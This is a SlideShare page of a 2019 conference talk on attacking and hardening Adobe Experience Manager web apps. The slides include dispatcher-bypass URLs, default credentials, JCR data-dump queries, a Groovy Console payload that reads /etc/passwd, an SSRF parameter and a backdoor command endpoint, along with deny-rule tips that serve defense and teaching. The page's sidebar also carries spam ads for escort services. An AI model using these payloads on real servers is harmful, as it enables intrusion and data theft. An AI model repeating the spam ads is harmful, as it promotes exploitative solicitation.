SlideShare una empresa de Scribd logo
1 de 45
Descargar para leer sin conexión
APACHE SLING & FRIENDS TECH MEETUP
2 - 4 SEPTEMBER 2019
Securing AEM webapps by hacking them
Mikhail Egorov @0ang3el, Security researcher & Bug hunter.
2
Intro
whoami
3
 Security researcher & full-time bug hunter
 https://bugcrowd.com/0ang3el
 https://hackerone.com/0ang3el
 Conference speaker
 https://www.slideshare.net/0ang3el
 https://speakerdeck.com/0ang3el
AEM & Bug Bounties
4
My research on AEM security
5
PHDays 2015
Hacktivity 2018
LevelUp 2019
https://www.slideshare.net/0ang3el
Fellow hackers
6
@darkarnium, 2016
@fransrosen, 2018
@JonathanBoumanium, 2018
https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c
https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem
http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
Common AEM deployment
7
Interacts with Publish server
via AEM Dispatcher!
4503/tcp
4502/tcp
443/tcp
?
Main blocks:
• Author AEM instance
• Publish AEM instance
• AEM dispatcher (~WAF)
Sources of vulnerabilities
8
 AEM misconfiguration
 AEM code (CVEs)
 3rd-party plugins
 Your code
9
Vulnerabilities due to misconfiguration
AEM dispatcher bypass – CVE-2016-0957
10
 Blocked by Dispatcher
 /bin/querybuilder.json
 However passed to publish instance
 /bin/querybuilder.json/a.css
 /bin/querybuilder.json/a.icoS
 /bin/querybuilder.json?a.html
 /bin/querybuilder.json;%0aa.css
AEM dispatcher bypass – Sling “features”
11
 When Sling Servlet is registered with
sling.servlet.path other properties are
ignored (e.g. sling.servlet.extensions)
 Bypassing extension check
 /bin/querybuilder.json.css
 /bin/querybuilder.feed.ico
AEM dispatcher bypass – Sling “features”
12
 When Sling Servlet is registered with
sling.servlet.resourceTypes
 Bypassing path check
 Create node with proper sling:resourceType under
/content/usergenerated/etc/commerce/smartlists
AEM dispatcher security tips
13
 Don’t use rules like
 /0041 { /type "allow" /url "*.css" } # This is bad
 Better use
 /0041 { /type "allow" /extension 'css' }
AEM dispatcher security tips
14
 Explicit deny rule for dangerous endpoints
 /0090 { /type "deny" /path "/libs/*" }
 /0091 { /type "deny" /path "/bin/querybuilder*" }
 Place explicit deny rules in the end of policy
Default credentials
15
 admin/admin
 author/author
 Geometrixx users
 grios:password
 jdoe@geometrixx.info:jdoe
 …
Default credentials
16
== base64(admin:admin)
Weak passwords / Credentials bruterorcing
17
 Properties jcr:createdBy, cq:lastModifiedBy,
jcr:lastModifiedBy contain usernames
 Many ways to bruteforce
 LoginStatusServlet
 GetLoggedInUser servlet
 CurrentUserServlet
 …
Weak permissions for JCR
18
 Many ways to access JCR
 DefaultGetServlet
 QueryBuilderJsonServlet
 QueryBuilderFeedServlet
 GQLSearchServlet
 CRXDE Lite
 …
Weak permissions for JCR
19
 Anonymous user has jcr:write permission
for /content/usergenerated/etc/commerce/s
martlists
0
/apps/<redacted>/config.author.tidy.1..json/a.ico
Weak permissions for JCR
21
type=nt:file&nodename=*.zip
Weak permissions for JCR
22
path=/home&p.hits=full&p.limit=-1
23
Vulnerabilities due to 3-rd party components
Groovy Console
24
 Exposes servlet at
/bin/groovyconsole/post.servlet without
authentication
by default
https://github.com/icfnext/aem-groovy-console
cS4VLFuCHKwX;XS
script=def+proc+%3d+”cat+/etc/passwd”.execute()%0d%0aprintln+proc.text
ACS AEM Tools
26
 Exposes Fiddle with ability to execute JSP
scripts on /etc/acs-tools/aem-
fiddle/_jcr_content.run.html
 May not require authentication
cS4VLFuCHKwX;X
28
AEM vulnerabilities
CVE-2018-12809 (SSRF*)
29
 ReportingServicesProxyServlet (cq-content-insight bundle)
@SlingServlet(
generateComponent = true,
metatype = true,
resourceTypes = {"cq/contentinsight/proxy"},
extensions = {"json"},
selectors = {"reportingservices"},
methods = {"GET"},
label = "Reporting Services API proxy servlet",
description = "Proxy servlet for Reporting Services API"
)
public class ReportingServicesProxyServlet extends SlingSafeMethodsServlet {
private static final String DEFAULT_API_OMNITURE_URL = ".*/api[0-9]*.omniture.com/.*";}
…
} *SSRF - Server Side Request Forgery
CVE-2018-12809 (SSRF*)
30
 Paths to invoke servlet
 /libs/cq/contentinsight/content/proxy.reportingservices.json
 /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet
 Vulnerable parameter url
 url=http://anyurl%23/api1.omniture.com/a
*SSRF - Server Side Request Forgery
ExternalJobPostServlet deser / CVE?
34
 Affects AEM 5.5 / AEM 5.6
@Service
@Properties(value = {
@Property(name = "sling.servlet.extensions", value = "json"),
@Property(name = "sling.servlet.paths", value =
"/libs/dam/cloud/proxy"),
@Property(name = "sling.servlet.methods", value = { "POST", "GET",
"HEAD" })
})
public class ExternalJobPostServlet extends SlingAllMethodsServlet {
...
}
ExternalJobPostServlet deser / CVE?
35
 Parameter file accepts Java serialized stream
and passes to OIS.readObject()
 Hard to exploit in OSGI environment
38
Automation
AEM RCE bundle
39
 Allows to get RCE* when having access to
Felix Console
 https://github.com/0ang3el/aem-rce-bundle.git
* RCE – Remote Code Execution
AEM RCE bundle
40
 Path - /bin/backdoor.html?cmd=ifconfig
AEM Hacker
41
 Scripts to check security of AEM application
 aem_hacker.py, aem_discoverer.py, aem_enum.py,
aem_ssrf2rce.py, aem_server.py, response.bin,
aem-rce-sling-script.sh
 https://github.com/0ang3el/aem-hacker.git
DEMO
42
43
Takeaways
Takeaways
44
 Vulnerabilities can occur on different levels
 Install security updates
 Defense in depth
 Check security of AEM application
 Pentest / Bug bounty
45
Thank you
@0ang3el

Más contenido relacionado

La actualidad más candente

Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.Mikhail Egorov
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Aaron Hnatiw
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesAbraham Aranguren
 
Practical Application of the API Security Top Ten: A Tester's Perspective
Practical Application of the API Security Top Ten: A Tester's PerspectivePractical Application of the API Security Top Ten: A Tester's Perspective
Practical Application of the API Security Top Ten: A Tester's PerspectiveRajniHatti
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016Frans Rosén
 
Hacking liferay
Hacking liferayHacking liferay
Hacking liferayArmel Nene
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...Frans Rosén
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricksGarethHeyes
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterMasato Kinugawa
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodologybugcrowd
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a JediYaroslav Babin
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Ben Hayak
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 

La actualidad más candente (20)

Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
Practical Application of the API Security Top Ten: A Tester's Perspective
Practical Application of the API Security Top Ten: A Tester's PerspectivePractical Application of the API Security Top Ten: A Tester's Perspective
Practical Application of the API Security Top Ten: A Tester's Perspective
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
Hacking liferay
Hacking liferayHacking liferay
Hacking liferay
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)
 
Api security
Api security Api security
Api security
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 

Similar a Securing AEM webapps by hacking them

Macro malware common techniques - public
Macro malware   common techniques - publicMacro malware   common techniques - public
Macro malware common techniques - publicSecurity Bootcamp
 
Container: is it safe enough to run you application?
Container: is it safe enough to run you application?Container: is it safe enough to run you application?
Container: is it safe enough to run you application?Aleksey Zalesov
 
Software Security Basics
Software Security BasicsSoftware Security Basics
Software Security BasicsCY Lee
 
Security of Go Modules and Vulnerability Scanning in GoCenter and VS Code
Security of Go Modules and Vulnerability Scanning in GoCenter and VS CodeSecurity of Go Modules and Vulnerability Scanning in GoCenter and VS Code
Security of Go Modules and Vulnerability Scanning in GoCenter and VS CodeDeep Datta
 
Leveraging the power of SolrCloud and Spark with OpenShift
Leveraging the power of SolrCloud and Spark with OpenShiftLeveraging the power of SolrCloud and Spark with OpenShift
Leveraging the power of SolrCloud and Spark with OpenShiftQAware GmbH
 
Taming botnets
Taming botnetsTaming botnets
Taming botnetsf00d
 
Life Cycle And Detection Of Bot Infections Through Network Traffic Analysis
Life Cycle And Detection Of Bot Infections Through Network Traffic AnalysisLife Cycle And Detection Of Bot Infections Through Network Traffic Analysis
Life Cycle And Detection Of Bot Infections Through Network Traffic AnalysisPositive Hack Days
 
Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Patricia Aas
 
Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Patricia Aas
 
Android Nâng cao-Bài 9-Debug in Android Application Development
Android Nâng cao-Bài 9-Debug in Android Application Development Android Nâng cao-Bài 9-Debug in Android Application Development
Android Nâng cao-Bài 9-Debug in Android Application Development Phuoc Nguyen
 
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdftheVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdfGabriel Mathenge
 
Developer in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON NameDeveloper in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON NameSecuRing
 
Security of Go Modules and Vulnerability Scanning in GoCenter and VSCode
Security of Go Modules and Vulnerability Scanning in GoCenter and VSCodeSecurity of Go Modules and Vulnerability Scanning in GoCenter and VSCode
Security of Go Modules and Vulnerability Scanning in GoCenter and VSCodeDeep Datta
 
Windows 10 URI persistence technique
Windows 10 URI persistence techniqueWindows 10 URI persistence technique
Windows 10 URI persistence techniqueGiulio Comi
 
Android CTS training
Android CTS trainingAndroid CTS training
Android CTS trainingjtbuaa
 
How to hide your browser 0-day @ Disobey
How to hide your browser 0-day @ DisobeyHow to hide your browser 0-day @ Disobey
How to hide your browser 0-day @ DisobeyZoltan Balazs
 
Android Security Internals
Android Security InternalsAndroid Security Internals
Android Security InternalsOpersys inc.
 
20101215-fxug-tokyo
20101215-fxug-tokyo20101215-fxug-tokyo
20101215-fxug-tokyoJun Funakura
 
The JavaScript Revue: Patterns & Frameworks
The JavaScript Revue: Patterns & FrameworksThe JavaScript Revue: Patterns & Frameworks
The JavaScript Revue: Patterns & FrameworksAdam Roderick
 

Similar a Securing AEM webapps by hacking them (20)

Macro malware common techniques - public
Macro malware   common techniques - publicMacro malware   common techniques - public
Macro malware common techniques - public
 
Container: is it safe enough to run you application?
Container: is it safe enough to run you application?Container: is it safe enough to run you application?
Container: is it safe enough to run you application?
 
Software Security Basics
Software Security BasicsSoftware Security Basics
Software Security Basics
 
Security of Go Modules and Vulnerability Scanning in GoCenter and VS Code
Security of Go Modules and Vulnerability Scanning in GoCenter and VS CodeSecurity of Go Modules and Vulnerability Scanning in GoCenter and VS Code
Security of Go Modules and Vulnerability Scanning in GoCenter and VS Code
 
Leveraging the power of SolrCloud and Spark with OpenShift
Leveraging the power of SolrCloud and Spark with OpenShiftLeveraging the power of SolrCloud and Spark with OpenShift
Leveraging the power of SolrCloud and Spark with OpenShift
 
Taming botnets
Taming botnetsTaming botnets
Taming botnets
 
Life Cycle And Detection Of Bot Infections Through Network Traffic Analysis
Life Cycle And Detection Of Bot Infections Through Network Traffic AnalysisLife Cycle And Detection Of Bot Infections Through Network Traffic Analysis
Life Cycle And Detection Of Bot Infections Through Network Traffic Analysis
 
Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)
 
Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)
 
Android Nâng cao-Bài 9-Debug in Android Application Development
Android Nâng cao-Bài 9-Debug in Android Application Development Android Nâng cao-Bài 9-Debug in Android Application Development
Android Nâng cao-Bài 9-Debug in Android Application Development
 
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdftheVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
 
Developer in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON NameDeveloper in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON Name
 
Security of Go Modules and Vulnerability Scanning in GoCenter and VSCode
Security of Go Modules and Vulnerability Scanning in GoCenter and VSCodeSecurity of Go Modules and Vulnerability Scanning in GoCenter and VSCode
Security of Go Modules and Vulnerability Scanning in GoCenter and VSCode
 
Windows 10 URI persistence technique
Windows 10 URI persistence techniqueWindows 10 URI persistence technique
Windows 10 URI persistence technique
 
Android utilities
Android utilitiesAndroid utilities
Android utilities
 
Android CTS training
Android CTS trainingAndroid CTS training
Android CTS training
 
How to hide your browser 0-day @ Disobey
How to hide your browser 0-day @ DisobeyHow to hide your browser 0-day @ Disobey
How to hide your browser 0-day @ Disobey
 
Android Security Internals
Android Security InternalsAndroid Security Internals
Android Security Internals
 
20101215-fxug-tokyo
20101215-fxug-tokyo20101215-fxug-tokyo
20101215-fxug-tokyo
 
The JavaScript Revue: Patterns & Frameworks
The JavaScript Revue: Patterns & FrameworksThe JavaScript Revue: Patterns & Frameworks
The JavaScript Revue: Patterns & Frameworks
 

Último

Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.soniya singh
 
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptxAWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptxellan12
 
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607dollysharma2066
 
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Delhi Call girls
 
Russian Call girl in Ajman +971563133746 Ajman Call girl Service
Russian Call girl in Ajman +971563133746 Ajman Call girl ServiceRussian Call girl in Ajman +971563133746 Ajman Call girl Service
Russian Call girl in Ajman +971563133746 Ajman Call girl Servicegwenoracqe6
 
AlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with FlowsAlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with FlowsThierry TROUIN ☁
 
Russian Call girls in Dubai +971563133746 Dubai Call girls
Russian  Call girls in Dubai +971563133746 Dubai  Call girlsRussian  Call girls in Dubai +971563133746 Dubai  Call girls
Russian Call girls in Dubai +971563133746 Dubai Call girlsstephieert
 
Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445
All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445
All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445ruhi
 
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...SofiyaSharma5
 
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLLucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLimonikaupta
 
On Starlink, presented by Geoff Huston at NZNOG 2024
On Starlink, presented by Geoff Huston at NZNOG 2024On Starlink, presented by Geoff Huston at NZNOG 2024
On Starlink, presented by Geoff Huston at NZNOG 2024APNIC
 
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersMoving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersDamian Radcliffe
 
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call GirlVIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girladitipandeya
 
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...aditipandeya
 
'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...
'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...
'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...APNIC
 
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024APNIC
 

Último (20)

Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
 
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptxAWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
 
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
 
Call Girls In Noida 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SERVICE
Call Girls In Noida 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SERVICECall Girls In Noida 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SERVICE
Call Girls In Noida 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SERVICE
 
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
 
Russian Call girl in Ajman +971563133746 Ajman Call girl Service
Russian Call girl in Ajman +971563133746 Ajman Call girl ServiceRussian Call girl in Ajman +971563133746 Ajman Call girl Service
Russian Call girl in Ajman +971563133746 Ajman Call girl Service
 
AlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with FlowsAlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with Flows
 
Russian Call girls in Dubai +971563133746 Dubai Call girls
Russian  Call girls in Dubai +971563133746 Dubai  Call girlsRussian  Call girls in Dubai +971563133746 Dubai  Call girls
Russian Call girls in Dubai +971563133746 Dubai Call girls
 
Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Sukhdev Vihar Delhi 💯Call Us 🔝8264348440🔝
 
All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445
All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445
All Time Service Available Call Girls Mg Road 👌 ⏭️ 6378878445
 
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
 
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLLucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
 
On Starlink, presented by Geoff Huston at NZNOG 2024
On Starlink, presented by Geoff Huston at NZNOG 2024On Starlink, presented by Geoff Huston at NZNOG 2024
On Starlink, presented by Geoff Huston at NZNOG 2024
 
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersMoving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
 
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call GirlVIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
 
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
 
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
 
